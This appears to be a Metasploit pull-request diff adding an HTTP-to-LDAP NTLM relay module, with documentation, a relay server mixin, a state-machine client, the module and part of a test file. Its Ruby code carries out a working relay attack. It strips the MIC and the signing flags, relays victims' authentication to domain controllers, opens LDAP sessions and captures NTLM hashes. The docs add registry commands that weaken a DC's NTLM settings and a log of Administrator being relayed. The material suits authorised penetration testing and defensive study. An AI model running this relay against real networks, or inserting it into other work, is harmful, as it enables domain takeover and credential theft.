Merge pull request #21323 from jheysel-r7/feat/http_to_ldap
HTTP to LDAP Relay Module
This commit is contained in:
@@ -0,0 +1,108 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module sets up an HTTP server that attempts to execute an NTLM relay attack against an LDAP server on the
|
||||
configured `RHOSTS`. The relay attack targets NTLMv1 authentication, as NTLMv2 cannot be relayed to LDAP due to the
|
||||
Message Integrity Check (MIC). The module automatically removes the relevant flags to bypass signing.
|
||||
|
||||
This module supports relaying one HTTP authentication attempt to multiple LDAP servers. After attempting to relay to
|
||||
one target, the relay server sends a 307 to the client and if the client is configured to respond to redirects, the
|
||||
client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not
|
||||
respond to redirects.
|
||||
|
||||
The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent
|
||||
in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while
|
||||
GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can
|
||||
be prefixed with Negotiate.
|
||||
|
||||
If the relay attack is successful, an LDAP session is created on the target. This session can be used by other modules
|
||||
that support LDAP sessions, such as:
|
||||
|
||||
- `admin/ldap/rbcd`
|
||||
- `auxiliary/gather/ldap_query`
|
||||
|
||||
The module also supports capturing NTLMv1 and NTLMv2 hashes.
|
||||
|
||||
### Setup
|
||||
|
||||
For this relay attack to be successful, it is important to understand the difference between the Target Server (the
|
||||
Domain Controller receiving the relayed authentication) and the Victim Client (the machine sending the initial HTTP
|
||||
request) and how their respective configurations can impact the success of the attack.
|
||||
|
||||
The Domain Controller must be configured to accept LM or NTLM authentication. This means the `LmCompatibilityLevel`
|
||||
registry key on the DC must be set to 4 or lower. If it is set to `5` ("Send NTLMv2 response only. Refuse
|
||||
LM and NTLM"), the DC will reject the relayed authentication and the module will fail.
|
||||
|
||||
You can verify or modify the Domain Controller's level using the following commands:
|
||||
```cmd
|
||||
# To check the current level:
|
||||
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel
|
||||
|
||||
# To set the level to 4 (or lower):
|
||||
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x4 /f
|
||||
```
|
||||
|
||||
The client being coerced must be willing to send the vulnerable NTLM responses.
|
||||
- Non-Windows Clients: Custom tools or Linux-based HTTP clients are unaffected by Windows registry keys and can easily
|
||||
be relayed to a vulnerable DC.
|
||||
- Windows Clients: If you are coercing a native Windows HTTP client (like `Invoke-WebRequest` or a browser), the victim
|
||||
machine's `LmCompatibilityLevel` dictates what it is allowed to send. To successfully relay a Windows client, its local
|
||||
registry key typically needs to be set to `2` or lower. If the Windows client is operating at level `3` or higher, it
|
||||
restricts itself to sending only NTLMv2 responses, which will cause the relay to fail even if the target DC is vulnerable.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/server/relay/http_to_ldap`
|
||||
3. Set the `RHOSTS` options
|
||||
4. Run the module
|
||||
5. Send an authentication attempt to the relay server
|
||||
6. `Invoke-WebRequest -Uri http://192.0.2.1/test -UseDefaultCredentials`
|
||||
7. Check the output for successful relays and captured hashes
|
||||
|
||||
## Scenarios
|
||||
### Relaying to multiple targets
|
||||
```
|
||||
msf auxiliary(server/relay/http_to_ldap) > set rhosts 172.16.199.200 172.16.199.201
|
||||
rhosts => 172.16.199.200 172.16.199.201
|
||||
msf auxiliary(server/relay/http_to_ldap) > run
|
||||
[*] Auxiliary module running as background job 2.
|
||||
|
||||
[*] Relay Server started on 0.0.0.0:80
|
||||
[*] Server started.
|
||||
msf auxiliary(server/relay/http_to_ldap) > [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
|
||||
[*] Processing request in state unauthenticated from 172.16.199.130
|
||||
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
|
||||
[*] Processing request in state unauthenticated from 172.16.199.130
|
||||
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
|
||||
[*] Attempting to relay to ldap://172.16.199.201:389
|
||||
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
|
||||
[*] Received type2 from target ldap://172.16.199.201:389, attempting to relay back to client
|
||||
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
|
||||
[*] Processing request in state awaiting_type3 from 172.16.199.130
|
||||
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
|
||||
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
|
||||
[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP!
|
||||
[+] Relay succeeded
|
||||
[*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /ZdF7Ufkm0I
|
||||
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
|
||||
[*] Processing request in state unauthenticated from 172.16.199.130
|
||||
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
|
||||
[*] Attempting to relay to ldap://172.16.199.200:389
|
||||
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
|
||||
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
|
||||
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
|
||||
[*] Processing request in state awaiting_type3 from 172.16.199.130
|
||||
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
|
||||
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
|
||||
[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP!
|
||||
[+] Relay succeeded
|
||||
[*] Target list exhausted for 172.16.199.130. Closing connection.
|
||||
msf auxiliary(server/relay/http_to_ldap) > sessions -i -1
|
||||
[*] Starting interaction with 5...
|
||||
|
||||
LDAP (172.16.199.200) > getuid
|
||||
[*] Server username: KERBEROS\Administrator
|
||||
LDAP (172.16.199.200) >
|
||||
```
|
||||
@@ -0,0 +1,109 @@
|
||||
# -*- coding: binary -*-
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::HttpServer
|
||||
module Relay
|
||||
|
||||
include ::Msf::Auxiliary::MultipleTargetHosts
|
||||
include ::Msf::Exploit::Remote::Relay::NTLM::HashCapture
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
attr_reader :logger
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 80]),
|
||||
OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
|
||||
OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['LDAPHOST', 'RELAY_TARGETS']),
|
||||
OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])
|
||||
], self.class
|
||||
)
|
||||
@relay_clients = {}
|
||||
@relay_clients_mutex = Mutex.new
|
||||
end
|
||||
|
||||
def start_service(opts = {})
|
||||
@logger = opts['Logger'] || self
|
||||
|
||||
super
|
||||
|
||||
@http_relay_service = self.service
|
||||
|
||||
relay_path = '/'
|
||||
add_resource(
|
||||
'Proc' => Proc.new { |cli, req| on_relay_request(cli, req) },
|
||||
'Path' => relay_path
|
||||
)
|
||||
end
|
||||
|
||||
def on_relay_request(cli, req)
|
||||
client_id = Rex::Socket.to_authority(cli.peerhost, cli.peerport)
|
||||
cli.keepalive = true
|
||||
relay_client = nil
|
||||
print_status("Received #{req.method} request for #{req.uri} from #{client_id}")
|
||||
|
||||
# When the 307 redirect is sent to the client, it reconnects on a different port. So the relay server has to keep
|
||||
# track of the redirect URIs and associate them with the same client session. This allows the state machine to
|
||||
# continue seamlessly even if the client is bouncing between ports. Tracking the client ports but not redirect
|
||||
# URI's ends up in an infinite loop of 307 redirects because the client appears to be a new session on each
|
||||
# request. Tracking the redirect URI's allows us to correlate the new connection with the existing session
|
||||
# and avoid the redirect loop.
|
||||
|
||||
@relay_clients_mutex.synchronize do
|
||||
# Try to find the client by their exact TCP connection
|
||||
if @relay_clients.key?(client_id)
|
||||
relay_client = @relay_clients[client_id]
|
||||
relay_client.cli = cli
|
||||
else
|
||||
previous_client_id = @relay_clients.keys.find { |k| @relay_clients[k].redirect_uri == req.uri && req.uri != '/' }
|
||||
|
||||
if previous_client_id
|
||||
# Seamlessly transfer the state machine from the old port to the new port
|
||||
relay_client = @relay_clients.delete(previous_client_id)
|
||||
relay_client.cli = cli
|
||||
@relay_clients[client_id] = relay_client
|
||||
else
|
||||
# This is a truly new client session
|
||||
relay_client = Msf::Exploit::Remote::HttpServer::Relay::NTLM::ServerClient.new(
|
||||
cli,
|
||||
relay_targets,
|
||||
logger,
|
||||
datastore['RELAY_TIMEOUT']
|
||||
)
|
||||
relay_client.redirect_uri = req.uri # Track their starting path
|
||||
@relay_clients[client_id] = relay_client
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
relay_client.process_request(req)
|
||||
|
||||
@relay_clients_mutex.synchronize do
|
||||
if relay_client.finished? && @relay_clients[client_id].equal?(relay_client)
|
||||
@relay_clients.delete(client_id)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def send_auth_challenge(cli)
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 401
|
||||
res.message = "Unauthorized"
|
||||
res.headers['WWW-Authenticate'] = "NTLM"
|
||||
|
||||
cli.put(res.to_s)
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if @http_relay_service
|
||||
@http_relay_service.remove_resource('/')
|
||||
Rex::ServiceManager.stop_service(@http_relay_service)
|
||||
end
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,374 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf::Exploit::Remote::HttpServer::Relay::NTLM
|
||||
class ServerClient
|
||||
|
||||
attr_reader :logger
|
||||
attr_accessor :cli, :state, :redirect_uri
|
||||
|
||||
def initialize(cli, relay_targets, logger, timeout = 25)
|
||||
@cli = cli
|
||||
@state = :unauthenticated
|
||||
@relay_targets = relay_targets
|
||||
@logger = logger
|
||||
@timeout = timeout
|
||||
@relayed_connection = nil
|
||||
@current_target = nil
|
||||
|
||||
@ntlm_context = {
|
||||
wrapper: :none,
|
||||
type1: nil,
|
||||
type2: nil
|
||||
}
|
||||
end
|
||||
|
||||
def process_request(req)
|
||||
logger.print_status("Processing request in state #{state} from #{cli.peerhost}")
|
||||
auth_header = req.headers['Authorization']
|
||||
auth_type, b64_message = extract_ntlm_message(auth_header)
|
||||
|
||||
parsed_ntlm = nil
|
||||
raw_ntlm_bytes = nil
|
||||
|
||||
if b64_message
|
||||
begin
|
||||
raw_ntlm_bytes = unwrap_ntlm_base64(b64_message)
|
||||
parsed_ntlm = Net::NTLM::Message.parse(raw_ntlm_bytes)
|
||||
rescue ::Exception => e
|
||||
logger.print_error("Failed to parse incoming NTLM/SPNEGO message: #{e.message}")
|
||||
abort_connection("Invalid NTLM payload.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
case state
|
||||
when :unauthenticated
|
||||
if parsed_ntlm.nil?
|
||||
send_401_challenge
|
||||
elsif parsed_ntlm.is_a?(Net::NTLM::Message::Type1)
|
||||
logger.print_status("Received Type 1 message from #{cli.peerhost}, attempting to relay...")
|
||||
handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
|
||||
else
|
||||
abort_connection("Expected No Auth or Type 1, got something else.")
|
||||
end
|
||||
|
||||
when :awaiting_type3
|
||||
if parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type3)
|
||||
logger.print_status("Received Type 3 message from #{cli.peerhost}, attempting to relay...")
|
||||
handle_type3(parsed_ntlm)
|
||||
|
||||
elsif parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type1)
|
||||
logger.print_warning("Client restarted the handshake! Resetting state to handle new Type 1...")
|
||||
@relayed_connection.disconnect! if @relayed_connection
|
||||
@relayed_connection = nil
|
||||
handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
|
||||
|
||||
else
|
||||
abort_connection("Expected Type 3, got something else.")
|
||||
end
|
||||
|
||||
when :done
|
||||
# The relay is finished for this connection, ignore further requests
|
||||
end
|
||||
end
|
||||
|
||||
def create_relay_client(target, timeout)
|
||||
case target.protocol
|
||||
when :ldap
|
||||
client = Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client.create(self, target, logger, timeout)
|
||||
else
|
||||
raise RuntimeError, "unsupported protocol: #{target.protocol}"
|
||||
end
|
||||
|
||||
client
|
||||
rescue ::Rex::ConnectionTimeout => e
|
||||
msg = "Timeout error retrieving server challenge from target #{target}. Most likely caused by unresponsive target"
|
||||
elog(msg, error: e)
|
||||
logger.print_error msg
|
||||
nil
|
||||
rescue ::Exception => e
|
||||
msg = "Unable to create relay to #{target}"
|
||||
elog(msg, error: e)
|
||||
logger.print_error msg
|
||||
nil
|
||||
end
|
||||
|
||||
def finished?
|
||||
state == :done || state == :aborted
|
||||
end
|
||||
|
||||
|
||||
def send_401_challenge
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 401
|
||||
res.message = "Unauthorized"
|
||||
res.headers['WWW-Authenticate'] = "NTLM, Negotiate"
|
||||
res.headers['Connection'] = "Keep-Alive"
|
||||
res.headers['Content-Length'] = "0"
|
||||
res.body = ""
|
||||
|
||||
cli.put(res.to_s)
|
||||
end
|
||||
|
||||
def handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
|
||||
@ntlm_context[:type1] = raw_ntlm_bytes
|
||||
@current_target ||= @relay_targets.next(cli.peerhost)
|
||||
|
||||
if @current_target.nil?
|
||||
logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.")
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 404
|
||||
res.message = "Not Found"
|
||||
res.headers['Connection'] = "Close"
|
||||
res.headers['Content-Length'] = "0"
|
||||
cli.send_response(res)
|
||||
@state = :done
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
logger.print_status("Attempting to relay to #{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}")
|
||||
@relayed_connection = create_relay_client(@current_target, @timeout)
|
||||
|
||||
if @relayed_connection.nil?
|
||||
logger.print_error("Connection to #{@current_target.ip} failed: unable to create relay client")
|
||||
advance_to_next_target_via_redirect
|
||||
return
|
||||
end
|
||||
|
||||
if @current_target.drop_mic_and_sign_key_exch_flags
|
||||
incoming_security_buffer = do_drop_mic_and_flags(parsed_ntlm)
|
||||
elsif @current_target.drop_mic_only
|
||||
incoming_security_buffer = do_drop_mic(parsed_ntlm)
|
||||
else
|
||||
incoming_security_buffer = parsed_ntlm.serialize
|
||||
end
|
||||
|
||||
relay_result = @relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
|
||||
|
||||
if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
|
||||
type2_msg = relay_result.message
|
||||
@ntlm_context[:type2] = type2_msg
|
||||
|
||||
if @ntlm_context[:wrapper] == :gss_spnego
|
||||
wrapped_type2 = RubySMB::Gss.gss_type2(type2_msg.serialize)
|
||||
target_type2_msg = Rex::Text.encode_base64(wrapped_type2)
|
||||
auth_header = "#{auth_type} #{target_type2_msg}"
|
||||
else
|
||||
target_type2_msg = Rex::Text.encode_base64(type2_msg.serialize)
|
||||
auth_header = "#{auth_type} #{target_type2_msg}"
|
||||
end
|
||||
logger.print_status("Received type2 from target #{@current_target.protocol}://#{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}, attempting to relay back to client")
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 401
|
||||
res.message = "Unauthorized"
|
||||
res.headers['WWW-Authenticate'] = auth_header
|
||||
res.headers['Connection'] = "Keep-Alive"
|
||||
res.headers['Content-Length'] = "0"
|
||||
|
||||
cli.send_response(res)
|
||||
@state = :awaiting_type3
|
||||
return
|
||||
else
|
||||
logger.print_error("Target #{@current_target.ip} rejected the Type 1 message.")
|
||||
end
|
||||
|
||||
rescue ::Exception => e
|
||||
logger.print_error("Connection to #{@current_target.ip} failed: #{e.message}")
|
||||
end
|
||||
|
||||
advance_to_next_target_via_redirect
|
||||
end
|
||||
|
||||
def complete_current_relay_attempt(is_success:, identity: nil)
|
||||
return unless @current_target
|
||||
|
||||
@relay_targets.on_relay_end(@current_target, identity: identity, is_success: is_success)
|
||||
end
|
||||
|
||||
def handle_type3(parsed_type3)
|
||||
relay_succeeded = false
|
||||
relay_completed = false
|
||||
|
||||
# 1. Safely extract the identity from the Type 3 message early
|
||||
identity = nil
|
||||
if parsed_type3
|
||||
domain = parsed_type3.domain.to_s.force_encoding('UTF-8')
|
||||
user = parsed_type3.user.to_s.force_encoding('UTF-8')
|
||||
identity = "#{domain}\\#{user}" unless user.empty?
|
||||
end
|
||||
|
||||
if @current_target.drop_mic_and_sign_key_exch_flags
|
||||
incoming_security_buffer = do_drop_mic_and_flags(parsed_type3)
|
||||
elsif @current_target.drop_mic_only
|
||||
incoming_security_buffer = do_drop_mic(parsed_type3)
|
||||
else
|
||||
incoming_security_buffer = parsed_type3.serialize
|
||||
end
|
||||
|
||||
relay_result = @relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)
|
||||
|
||||
if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
|
||||
relay_succeeded = true
|
||||
|
||||
logger.on_ntlm_type3(
|
||||
address: @relayed_connection.target.ip,
|
||||
ntlm_type1: @ntlm_context[:type1],
|
||||
ntlm_type2: @ntlm_context[:type2],
|
||||
ntlm_type3: parsed_type3,
|
||||
service_name: 'HTTP'
|
||||
)
|
||||
|
||||
if identity.blank?
|
||||
logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{@relayed_connection.target.ip}")
|
||||
@relayed_connection.disconnect! if @relayed_connection
|
||||
else
|
||||
logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to LDAP!")
|
||||
logger.on_relay_success(relay_connection: @relayed_connection, relay_identity: identity)
|
||||
end
|
||||
|
||||
@relayed_connection = nil
|
||||
else
|
||||
logger.print_error("Relayed authentication failed or was rejected by LDAP.")
|
||||
@relayed_connection.disconnect! if @relayed_connection
|
||||
@relayed_connection = nil
|
||||
end
|
||||
|
||||
complete_current_relay_attempt(is_success: relay_succeeded, identity: identity)
|
||||
relay_completed = true
|
||||
|
||||
@state = :done
|
||||
|
||||
advance_to_next_target_via_redirect
|
||||
rescue StandardError => e
|
||||
logger.print_error("Relaying type 3 message to target #{@current_target.ip} failed: #{e.message}")
|
||||
complete_current_relay_attempt(is_success: false, identity: identity) unless relay_completed
|
||||
end
|
||||
|
||||
def advance_to_next_target_via_redirect
|
||||
@current_target = @relay_targets.next(@cli.peerhost)
|
||||
|
||||
if @current_target
|
||||
random_path = "/" + Rex::Text.rand_text_alphanumeric(10)
|
||||
|
||||
@redirect_uri = random_path
|
||||
@logger.print_status("Moving to next target (#{@current_target.ip}). Issuing 307 Redirect to #{random_path}")
|
||||
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 307
|
||||
res.message = "Temporary Redirect"
|
||||
res.headers['Location'] = random_path
|
||||
|
||||
res.headers['Connection'] = "keep-alive"
|
||||
res.headers['Content-Length'] = "0"
|
||||
|
||||
cli.send_response(res)
|
||||
|
||||
@state = :unauthenticated
|
||||
@ntlm_context[:type1] = nil
|
||||
@ntlm_context[:type2] = nil
|
||||
else
|
||||
@logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.")
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 404
|
||||
res.message = "Not Found"
|
||||
res.headers['Connection'] = "close"
|
||||
res.headers['Content-Length'] = "0"
|
||||
|
||||
cli.send_response(res)
|
||||
@state = :done
|
||||
end
|
||||
end
|
||||
def abort_connection(reason)
|
||||
logger.print_error("Aborting connection with #{cli.peerhost}: #{reason}")
|
||||
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 400
|
||||
res.message = "Bad Request"
|
||||
res.headers['Connection'] = "Close"
|
||||
res.headers['Content-Length'] = "0"
|
||||
res.body = ""
|
||||
cli.put(res.to_s)
|
||||
@state = :aborted
|
||||
end
|
||||
|
||||
def unwrap_ntlm_base64(b64_msg)
|
||||
buf = Rex::Text.decode_base64(b64_msg)
|
||||
|
||||
if valid_ntlm_blob?(buf)
|
||||
@ntlm_context[:wrapper] = :none
|
||||
return buf
|
||||
end
|
||||
|
||||
gss_api = OpenSSL::ASN1.decode(buf)
|
||||
if gss_api&.tag == 0 && gss_api&.tag_class == :APPLICATION
|
||||
logger.print_status("Detected GSS-SPNEGO wrapping around the type1 NTLM message")
|
||||
@ntlm_context[:wrapper] = :gss_spnego
|
||||
return process_gss_spnego_init(buf)
|
||||
elsif gss_api&.tag == 1 && gss_api&.tag_class == :CONTEXT_SPECIFIC
|
||||
logger.print_status("Detected GSS-SPNEGO wrapping around the type3 NTLM message")
|
||||
@ntlm_context[:wrapper] = :gss_spnego
|
||||
return process_gss_spnego_targ(buf)
|
||||
end
|
||||
|
||||
raise ArgumentError, "Unrecognized NTLM or SPNEGO payload"
|
||||
end
|
||||
|
||||
def extract_ntlm_message(auth_header)
|
||||
return nil unless auth_header
|
||||
|
||||
# Match either "NTLM <base64>" or "Negotiate <base64>" (case insensitive)
|
||||
if auth_header =~ /^(NTLM|Negotiate)\s+(.+)$/i
|
||||
return $1, $2 # Return The auth type and the base64 message
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def valid_ntlm_blob?(blob)
|
||||
blob&.start_with?("NTLMSSP\x00")
|
||||
end
|
||||
|
||||
def validate_ntlm_blob!(blob)
|
||||
raise ArgumentError, 'The NTLM blob found was malformed' unless valid_ntlm_blob?(blob)
|
||||
end
|
||||
|
||||
def process_gss_spnego_init(incoming_security_buffer)
|
||||
begin
|
||||
gss_init = Rex::Proto::Gss::SpnegoNegTokenInit.parse(incoming_security_buffer)
|
||||
ntlm_blob = gss_init.mech_token
|
||||
validate_ntlm_blob!(ntlm_blob)
|
||||
ntlm_blob
|
||||
rescue RASN1::ASN1Error => e
|
||||
raise ArgumentError, "Failed to parse NTLMSSP Type1 from GSS: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
def process_gss_spnego_targ(incoming_security_buffer)
|
||||
begin
|
||||
gss_targ = Rex::Proto::Gss::SpnegoNegTokenTarg.parse(incoming_security_buffer)
|
||||
ntlm_blob = gss_targ.response_token
|
||||
validate_ntlm_blob!(ntlm_blob)
|
||||
ntlm_blob
|
||||
rescue RASN1::ASN1Error, ArgumentError => e
|
||||
raise ArgumentError, "Failed to parse NTLMSSP Type3 from GSS: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
def do_drop_mic(ntlm_message)
|
||||
logger.print_status('Dropping MIC')
|
||||
ntlm_message.serialize
|
||||
end
|
||||
|
||||
def do_drop_mic_and_flags(ntlm_message)
|
||||
logger.print_status('Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`')
|
||||
flags = ntlm_message.flag
|
||||
flags &= ~Net::NTLM::FLAGS[:ALWAYS_SIGN] & ~Net::NTLM::FLAGS[:SIGN] & ~Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
||||
|
||||
ntlm_message.flag = flags
|
||||
ntlm_message.serialize
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -55,11 +55,21 @@ module Msf::Exploit::Remote::Relay::NTLM::Target::LDAP
|
||||
)
|
||||
end
|
||||
|
||||
# Determines whether the relay connection originated from an HTTP server.
|
||||
#
|
||||
# @return [Boolean] true if the provider's class name contains 'httpserver', false otherwise.
|
||||
def is_http_source?
|
||||
@provider && @provider.class.name.to_s.downcase.include?('httpserver')
|
||||
end
|
||||
|
||||
# @param [String] client_type3_msg
|
||||
# @rtype [Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult, nil]
|
||||
def relay_ntlmssp_type3(client_type3_msg)
|
||||
ntlm_message = Net::NTLM::Message.parse(client_type3_msg)
|
||||
if ntlm_message.ntlm_version == :ntlmv2
|
||||
|
||||
# Suppress the warning for HTTP sources because they can safely relay NTLMv2 type 3 messages. During testing
|
||||
# non-Windows HTTP clients that sent NTLMv2 type 3 messages were able to be relayed to LDAP without issue.
|
||||
if ntlm_message.ntlm_version == :ntlmv2 && !is_http_source?
|
||||
logger.print_warning('Relay client\'s NTLM type 3 message is NTLMv2, relaying to LDAP will not work')
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'openssl'
|
||||
require 'rex/proto/gss'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpServer::Relay
|
||||
include Msf::Auxiliary::CommandShell
|
||||
|
||||
attr_accessor :service
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Microsoft Windows HTTP to LDAP Relay',
|
||||
'Description' => %q{
|
||||
This module supports running an HTTP server which validates credentials, and
|
||||
then attempts to execute a relay attack against an LDAP server on the
|
||||
configured RHOSTS hosts.
|
||||
|
||||
It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check
|
||||
(MIC). As a result, this will only work with NTLMv1. The module takes care of
|
||||
removing the relevant flags to bypass signing.
|
||||
|
||||
If the relay succeeds, an LDAP session to the target will be created. This can
|
||||
be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or
|
||||
`auxiliary/gather/ldap_query`.
|
||||
|
||||
Supports LDAP and captures NTLMv1 as well as NTLMv2 hashes.
|
||||
},
|
||||
'Author' => [
|
||||
'jheysel-r7' # module and http_relay server
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultTarget' => 0,
|
||||
'Actions' => [
|
||||
[ 'CREATE_LDAP_SESSION', { 'Description' => 'Create an LDAP session' } ]
|
||||
],
|
||||
'PassiveActions' => [ 'CREATE_LDAP_SESSION' ],
|
||||
'DefaultAction' => 'CREATE_LDAP_SESSION',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(389)
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
|
||||
OptInt.new('SessionKeepalive', [true, 'Time (in seconds) for sending protocol-level keepalive messages', 10 * 60])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def srvport
|
||||
datastore['SRVPORT']
|
||||
end
|
||||
|
||||
def relay_targets
|
||||
Msf::Exploit::Remote::Relay::TargetList.new(
|
||||
:ldap,
|
||||
datastore['RPORT'],
|
||||
datastore['RHOSTS'],
|
||||
datastore['TARGETURI'],
|
||||
randomize_targets: datastore['RANDOMIZE_TARGETS'],
|
||||
drop_mic_only: false,
|
||||
drop_mic_and_sign_key_exch_flags: true
|
||||
)
|
||||
end
|
||||
|
||||
def check_options
|
||||
unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)
|
||||
fail_with(Failure::BadConfig, 'This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`')
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
check_options
|
||||
|
||||
start_service
|
||||
print_status('Server started.')
|
||||
@http_relay_service.wait if @http_relay_service
|
||||
end
|
||||
|
||||
def on_relay_success(relay_connection:, relay_identity:)
|
||||
print_good('Relay succeeded')
|
||||
session_setup(relay_connection, relay_identity)
|
||||
rescue StandardError => e
|
||||
elog('Failed to setup the session', error: e)
|
||||
end
|
||||
|
||||
def session_setup(relay_connection, relay_identity)
|
||||
client = relay_connection.create_ldap_client
|
||||
ldap_session = Msf::Sessions::LDAP.new(
|
||||
relay_connection.socket,
|
||||
{
|
||||
client: client,
|
||||
keepalive_seconds: datastore['SessionKeepalive']
|
||||
}
|
||||
)
|
||||
domain, _, username = relay_identity.partition('\\')
|
||||
datastore_options = {
|
||||
'DOMAIN' => domain,
|
||||
'USERNAME' => username
|
||||
}
|
||||
start_session(self, nil, datastore_options, false, ldap_session.rstream, ldap_session)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,198 @@
|
||||
require 'spec_helper'
|
||||
require 'msf/core/exploit/remote/http_server/relay'
|
||||
require 'net/ntlm'
|
||||
require 'windows_error'
|
||||
require 'base64'
|
||||
|
||||
RSpec.describe Msf::Exploit::Remote::HttpServer::Relay do
|
||||
let(:client_ip) { '172.16.199.159' }
|
||||
let(:client_port) { 54321 }
|
||||
let(:client_id) { Rex::Socket.to_authority(client_ip, client_port) }
|
||||
|
||||
def create_request(auth_header = nil)
|
||||
req = Rex::Proto::Http::Request.new
|
||||
req.method = 'GET'
|
||||
req.headers['Authorization'] = auth_header if auth_header
|
||||
req
|
||||
end
|
||||
|
||||
let(:mock_cli) do
|
||||
cli = double('Rex::Proto::Http::ServerClient')
|
||||
allow(cli).to receive(:peerhost).and_return(client_ip)
|
||||
allow(cli).to receive(:peerport).and_return(client_port)
|
||||
